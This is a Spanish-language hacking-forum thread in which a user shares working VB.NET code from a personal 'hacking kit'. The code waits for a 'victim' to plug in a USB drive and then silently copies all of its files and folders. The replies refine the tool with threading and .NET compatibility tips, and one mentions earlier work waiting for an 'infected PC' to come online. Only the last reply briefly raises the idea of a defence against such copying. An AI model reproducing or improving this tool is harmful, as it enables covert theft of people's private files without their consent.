[APORTE] Interceptar Archivos/Directorios USB

Iniciado por kub0x, 11 Abril 2012, 19:16 PM

0 Miembros y 1 Visitante están viendo este tema.

kub0x

Buenas para quien me lea,

estoy desarrollando unas herramientas para un kit de Hacking propio, y bueno se me ocurrió que cuando la "víctima" introdujera una memoria extraíble (USB) en el PC podrían copiarse los archivos y directorios completamente a la ruta que yo quiera.

Ha funcionado mejor de lo que esperaba, que gusto da trabajar con el Framework de .NET

Al lío:

el programa se ejecuta y cae en un Bucle que se repite infinitas veces hasta que el usuario conecte una llave USB al PC. En cuanto se realiza tal acción se produce una copia de archivos y directorios de dicha llave USB. Los datos son guardados en la carpeta actual del directorio de la solución del proyecto (Debug/...)

Os dejo el código, no está terminado, falta pulirlo por bastantes partes pero lo esencial lo cumple.

Espero que os sirva...

Source:
Código (VB.NET) [Seleccionar]

Imports Microsoft.VisualBasic.FileIO
Module Interceptar
   Private Sub Interceptar_Archivos(ByVal Ruta_USB As String)
       Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB)
       For Each Ruta_Archivo As String In Archivos
           Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)
           Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1))
           FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo)
       Next
   End Sub
   Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String)
       Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB)
       For Each Ruta_Directorio As String In Directorios
           Console.WriteLine(Ruta_Directorio)
           Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\"))
           FileSystem.CreateDirectory(CurDir() + Directorio)
           FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio)
       Next
   End Sub
   Sub Main()
       Console.WriteLine("--Interceptar Archivos/Directorios USB--")
       Dim Ruta_USB As String = Nothing
       While Ruta_USB = Nothing
           For Each drive In FileSystem.Drives
               If drive.IsReady = True And drive.DriveType = IO.DriveType.Removable Then
                   Console.WriteLine("Se encontro un dispositivo USB")
                   Ruta_USB = drive.Name
                   Console.WriteLine(drive.Name)
                   Try
                       Interceptar_Archivos(Ruta_USB)
                       Interceptar_Carpetas(Ruta_USB)
                   Catch ex As Exception
                   End Try
               End If
           Next
       End While
       Console.Read()
   End Sub
End Module


Happy Hacking ;)
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


$Edu$

Tienes que poner un DoEvents en el bucle While Ruta_USB = Nothing que sino consume memoria o no deja hacer otras cosas, por lo menos yo me doy cuenta de estas cosas por mi computadora de ***** :)
Es algo de Aplication.DoEvents(); algo asi, busca en google, aunque talvez solo se te olvido.

Despues yo haria una funcion sola, no 2, pero eso es a gusto xD

Lastima que sea dependiente, por el problema del .net, pero desde windows 7 ya trae instalado el framework 4 no? si es el 3.5 el que ya trae instalado entonces podes tratar de compilar siempre con esa version mientras te deje, asi estas mas seguro que funcionara.

kub0x

Cita de: $Edu$ en 11 Abril 2012, 19:29 PM
Tienes que poner un DoEvents en el bucle While Ruta_USB = Nothing que sino consume memoria o no deja hacer otras cosas, por lo menos yo me doy cuenta de estas cosas por mi computadora de ***** :)
Es algo de Aplication.DoEvents(); algo asi, busca en google, aunque talvez solo se te olvido.

Despues yo haria una funcion sola, no 2, pero eso es a gusto xD

Lastima que sea dependiente, por el problema del .net, pero desde windows 7 ya trae instalado el framework 4 no? si es el 3.5 el que ya trae instalado entonces podes tratar de compilar siempre con esa version mientras te deje, asi estas mas seguro que funcionara.

No incluí DoEvents() ya que en mi PC ni se congela la aplicación ni se retrasa ningun proceso pero sería Application.DoEvents(). Está compilado bajo el Framework 4.0, que lamentablemente Win7 no trae por defecto (trae el 3.5) :P Gracias por el consejo, ya me pasa en las máquinas virtuales que tengo que instalar el 4.0 siempre que trasteo con aplicaciones.

Buscaré como compilar bajo 3.5, gracias :)

Un saludo!
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


$Edu$

Yo no probe tu codigo, pero me acuerdo que en vb6 tuve problemas asi, cuando hacia bucles para esperar que la pc infectada este conectada a internet y se me trababa la pc y me dijo Karcrack esa vez que ponga el DoEvents y se soluciono. Y si sigue estando en .net es porque habra que usarlo aun, es que tiene logica.. el bucle esta recorriendose muchisimas veces, vs tal vez has puesto el usb al poco tiempo, pero imaginate una pc que conecte el usb a las 10 horas, tu bucle seguira entrando y entrando sin dejar respirar, que es para lo que sirve el DoEvents.

Saludos

kub0x

#4
En vb6 por lo que me he fijado se llama bastante a DoEvents para que no se congele la aplicación, bueno en .NET esto lo consigo creando un simple Hilo, o bien llamando a DoEvents como uno quiera.

Saludos.
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


kub0x

He estado monitorizando el consumo de la app y es todo el rato de 2 Mb (sin llamar a DoEvents()). Luego introduzco el USB y funciona correctamente...

Por cierto, si te fijas la aplicacion es en consola, para implementar DoEvents() tendrías que añadir una referencia a System.Windows.Forms.

Un saludo.
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


$Edu$

Si, tienes razon, no me di cuenta, y creo que es para eso mismo, para las ventanas que puede traer problemas cuando estas haciendo una operacion que demora mucho, asi que no pongas nada y ta jaja, saludos, buen aporte

Maurice_Lupin

Estas utilizando sintaxis de vb6 en vb.net, según lei no es recomendable, pero funciona.

Me ha tomado tiempo el paso de vb6 a vb.net. Yo supongo que con un Thread en background deberia funcionar muy bien.

Saludos  ;-)
Un error se comete al equivocarse.

kub0x

La verdad nunca toqué vb6 :D En .NET para ejecutar esos métodos lo hago casi todas las veces mediante un hilo en vez de llamar a la función :P

Pero gracias a dios leí hace poco sobre programación asincronica, me documenté un poco por msdn y otras y ya mucho mejor con las funciones Callback y con los Delegados. La verdad que ganas bastantes recursos y puedes ahorrarte sentencias de repetición y llamadas a DoEvents (muy vb6 :D)

Saludos.
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


Maurice_Lupin

Se me ocurre, tal vez, se pueda programar algo para impedir el copiado al insertar la unidad flash, es cuestion de investigar.

Saludos  :silbar:
Un error se comete al equivocarse.